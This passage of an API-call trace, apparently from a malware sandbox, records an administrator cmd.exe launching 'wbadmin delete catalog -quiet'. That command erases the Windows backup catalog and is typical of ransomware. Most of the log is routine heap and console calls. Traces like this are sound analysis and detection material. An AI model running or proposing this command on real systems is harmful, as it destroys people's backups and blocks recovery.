(uMode=0x1) returned 0x0 [0103.788] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x36ba20, lpFilePart=0x24ef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24ef80*="Desktop") returned 0x25 [0103.788] SetErrorMode (uMode=0x1) returned 0x1 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36ba10, Size=0x6c) returned 0x36ba10 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ba10) returned 0x6c [0103.788] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0103.788] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x128) returned 0x351cd0 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x240) returned 0x369910 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369910, Size=0x12a) returned 0x369910 [0103.788] GetProcessHeap () returned 0x350000 [0103.788] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369910) returned 0x12a [0103.788] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.789] GetProcessHeap () returned 0x350000 [0103.789] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x365b70 [0103.789] GetProcessHeap () returned 0x350000 [0103.789] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x365b70, Size=0x7e) returned 0x365b70 [0103.789] GetProcessHeap () returned 0x350000 [0103.789] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365b70) returned 0x7e [0103.789] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.789] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0103.789] GetLastError () returned 0x2 [0103.789] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0103.789] GetLastError () returned 0x2 [0103.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.790] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x365c00 [0103.790] FindClose (in: hFindFile=0x365c00 | out: hFindFile=0x365c00) returned 1 [0103.790] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0xffffffffffffffff [0103.790] GetLastError () returned 0x2 [0103.790] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecf0) returned 0x365c00 [0103.790] FindClose (in: hFindFile=0x365c00 | out: hFindFile=0x365c00) returned 1 [0103.790] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0103.790] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0103.790] GetConsoleTitleW (in: lpConsoleTitle=0x24f240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0103.791] GetProcessHeap () returned 0x350000 [0103.791] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x21c) returned 0x369a50 [0103.791] GetConsoleTitleW (in: lpConsoleTitle=0x369a60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0103.791] GetProcessHeap () returned 0x350000 [0103.791] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x369a50, Size=0xb4) returned 0x369a50 [0103.791] GetProcessHeap () returned 0x350000 [0103.791] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369a50) returned 0xb4 [0103.791] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - wbadmin delete catalog -quiet") returned 1 [0103.792] GetProcessHeap () returned 0x350000 [0103.792] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369a50 | out: hHeap=0x350000) returned 1 [0103.792] InitializeProcThreadAttributeList (in: lpAttributeList=0x24eff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24efb8 | out: lpAttributeList=0x24eff8, lpSize=0x24efb8) returned 1 [0103.792] UpdateProcThreadAttribute (in: lpAttributeList=0x24eff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24efa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24eff8, lpPreviousValue=0x0) returned 1 [0103.792] GetStartupInfoW (in: lpStartupInfo=0x24f110 | out: lpStartupInfo=0x24f110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x120, hStdOutput=0x12c, hStdError=0x12c)) [0103.792] GetProcessHeap () returned 0x350000 [0103.792] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364640 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0103.792] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0103.793] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0103.793] GetProcessHeap () returned 0x350000 [0103.793] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364640 | out: hHeap=0x350000) returned 1 [0103.793] GetProcessHeap () returned 0x350000 [0103.793] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x12) returned 0x368900 [0103.794] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\wbadmin.exe", lpCommandLine="wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wbadmin delete catalog -quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24efe0 | out: lpCommandLine="wbadmin delete catalog -quiet", lpProcessInformation=0x24efe0*(hProcess=0x50, hThread=0x54, dwProcessId=0x5e4, dwThreadId=0x6c8)) returned 1 [0104.315] CloseHandle (hObject=0x54) returned 1 [0104.315] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.315] GetProcessHeap () returned 0x350000 [0104.315] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0104.315] GetEnvironmentStringsW () returned 0x368980* [0104.315] GetProcessHeap () returned 0x350000 [0104.315] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0104.315] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0104.316] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x24e8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e8e8, ReturnLength=0x0) returned 0x0 [0104.316] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x24e920, nSize=0x380, lpNumberOfBytesRead=0x24e8e0 | out: lpBuffer=0x24e920*, lpNumberOfBytesRead=0x24e8e0*=0x380) returned 1 [0104.316] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0106.079] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x24ef28 | out: lpExitCode=0x24ef28*=0x0) returned 1 [0106.079] CloseHandle (hObject=0x50) returned 1 [0106.079] _vsnwprintf (in: _Buffer=0x24f198, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ef38 | out: _Buffer="00000000") returned 8 [0106.079] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0106.080] GetProcessHeap () returned 0x350000 [0106.080] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0106.080] GetEnvironmentStringsW () returned 0x368980* [0106.080] GetProcessHeap () returned 0x350000 [0106.080] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0106.080] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0106.080] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0106.080] GetProcessHeap () returned 0x350000 [0106.080] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36eb10 | out: hHeap=0x350000) returned 1 [0106.080] GetEnvironmentStringsW () returned 0x368980* [0106.080] GetProcessHeap () returned 0x350000 [0106.080] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0e) returned 0x36eb10 [0106.080] FreeEnvironmentStringsW (penv=0x368980) returned 1 [0106.080] GetProcessHeap () returned 0x350000 [0106.080] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x368900 | out: hHeap=0x350000) returned 1 [0106.080] DeleteProcThreadAttributeList (in: lpAttributeList=0x24eff8 | out: lpAttributeList=0x24eff8) [0106.080] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0106.081] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.081] SetConsoleMode (hConsoleHandle=0x12c, dwMode=0x0) returned 0 [0106.082] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.082] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0x4a3fe194 | out: lpMode=0x4a3fe194) returned 0 [0106.082] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.082] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a3fe198 | out: lpMode=0x4a3fe198) returned 0 [0106.082] GetConsoleOutputCP () returned 0x1b5 [0106.082] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a40bfe0 | out: lpCPInfo=0x4a40bfe0) returned 1 [0106.082] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365b70 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369910 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351cd0 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ba10 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369f20 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351ab0 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36aa40 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364610 | out: hHeap=0x350000) returned 1 [0106.083] GetProcessHeap () returned 0x350000 [0106.083] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3697e0 | out: hHeap=0x350000) returned 1 [0106.083] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f458 | out: _Buffer="\r\n") returned 2 [0106.083] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.083] GetFileType (hFile=0x12c) returned 0x3 [0106.083] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0106.083] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f428, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f428*=0x2, lpOverlapped=0x0) returned 1 [0106.084] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0106.084] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0106.084] _vsnwprintf (in: _Buffer=0x4a3feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0106.084] _vsnwprintf (in: _Buffer=0x4a3febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f468 | out: _Buffer=">") returned 1 [0106.084] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.084] GetFileType (hFile=0x12c) returned 0x3 [0106.084] _get_osfhandle (_FileHandle=1) returned 0x12c [0106.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0106.084] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f458, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f458*=0x26, lpOverlapped=0x0) returned 1 [0106.084] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.084] GetFileType (hFile=0x120) returned 0x3 [0106.084] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.084] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.084] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.084] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e320, cchWideChar=1 | out: lpWideCharStr="wbadmin delete catalog -quiet\nquiet\n") returned 1 [0106.085] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.085] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.085] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e322, cchWideChar=1 | out: lpWideCharStr="madmin delete catalog -quiet\nquiet\n") returned 1 [0106.085] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.085] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.085] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e324, cchWideChar=1 | out: lpWideCharStr="idmin delete catalog -quiet\nquiet\n") returned 1 [0106.085] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.085] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.085] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e326, cchWideChar=1 | out: lpWideCharStr="cmin delete catalog -quiet\nquiet\n") returned 1 [0106.085] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.085] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.085] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.085] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e328, cchWideChar=1 | out: lpWideCharStr=" in delete catalog -quiet\nquiet\n") returned 1 [0106.085] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.085] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.085] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32a, cchWideChar=1 | out: lpWideCharStr="sn delete catalog -quiet\nquiet\n") returned 1 [0106.086] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.086] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.086] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32c, cchWideChar=1 | out: lpWideCharStr="h delete catalog -quiet\nquiet\n") returned 1 [0106.086] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.086] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.086] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32e, cchWideChar=1 | out: lpWideCharStr="adelete catalog -quiet\nquiet\n") returned 1 [0106.086] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.086] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.086] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e330, cchWideChar=1 | out: lpWideCharStr="delete catalog -quiet\nquiet\n") returned 1 [0106.086] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.086] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.086] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e332, cchWideChar=1 | out: lpWideCharStr="olete catalog -quiet\nquiet\n") returned 1 [0106.086] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.086] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e334, cchWideChar=1 | out: lpWideCharStr="wete catalog -quiet\nquiet\n") returned 1 [0106.087] _get_osfhandle (_FileHandle=0) returned 0x120 [0106.087] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.087] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0106.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e336, cchWideChar=1 | out: lpWideCharStr="cte catalog -quiet\nquiet\n") returned 1 [0106.087] _get_osfhandle 